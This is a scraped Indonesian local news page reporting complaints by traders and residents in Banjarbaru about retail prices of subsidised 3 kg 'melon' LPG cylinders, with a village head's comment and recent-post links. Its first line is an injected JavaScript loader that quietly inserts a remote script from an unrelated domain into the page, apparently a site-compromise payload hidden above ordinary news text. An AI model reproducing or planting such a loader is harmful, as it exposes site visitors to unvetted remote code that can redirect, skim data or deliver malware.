(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pedagang Kecil Teriak, Harga Eceren Melon di Banjarbaru Kembali Naik


KANALKALIMANTAN.COM, BANJARBARU – Saat ini, tabung LPG 3 kilogram bersubsidi yang akrab disebut tabung ‘gas melon’ harganya melonjak naik.

Gas khusus bagi warga miskin itu, saat ini di Kota Banjarbaru di tingkat pengecer kembali dikeluhkan oleh warga, lantaran harganya sudah mencapai harga Rp 30-37 ribu per tabung.

“Harga eceran di warung bisa mencapai 30 ribu kebatas, kalau di pangkalan paling 20 ribu pertabung, akan tetapi kalau di pangkalan hanya bisa satu tabung perorangnya, sedangkan kami para pedagang memerlukan lebih dari satu tabung dalam berjualan,” kata Hamdah, penjual lauk-pauk di Kelurahan Loktabat Utaran kepada Kanalkalimantan.com, Rabu (8/9/2021).

Menurutnya pada masa pandemi ini para pedagang sangat terbebani dengan adanya harga eceran di atas wajar, dia mengatakan kalau harga di bawah 30 ribu masih bisa dijangkau oleh para pedagang.

 

 

Baca juga: Perpanjangan PPKM Level 4 di Kalsel Indikasi Inkonsistensi Pemerintah Pusat

Di tempat lain, salah seorang warga di Kelurahan Bangkal juga mengeluhkan harga eceran yang sangat mahal tersebut.

“Kalau saya pernah mendapatkan harga 37 per tabungnya di salah satu warung,” kata Hapsah.

Dia juga menambahkan bahwa dalam di kampungnya jumlah gas melon yang masuk tidak berimbang dengan jumlah warga yang ada di kelurahan.

“Kami melalui kelurahan sudah mengirim permohonan kepada pemerintah kota untuk menambah pasokan gas melon ke kelurahan kami,” tutupnya.

Kepada Kanalkalimantan.com, Lurah Loktabat Utara, M Fuad Rachman menuturkan untuk pengawasan pendistribusian atau harga jual di tingkat eceran bukan wewenang dari pihak kelurahan. Akan tetapi dari dinas yang terkait.

“Kelurahan tidak ada wewenang untuk pengawasan tersebut, apabila ada kenaikan harga gas di eceran itu bisa dikoordinasikan dengan dinas terkait untuk melakukan penertiban di lapangan,” ujarnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.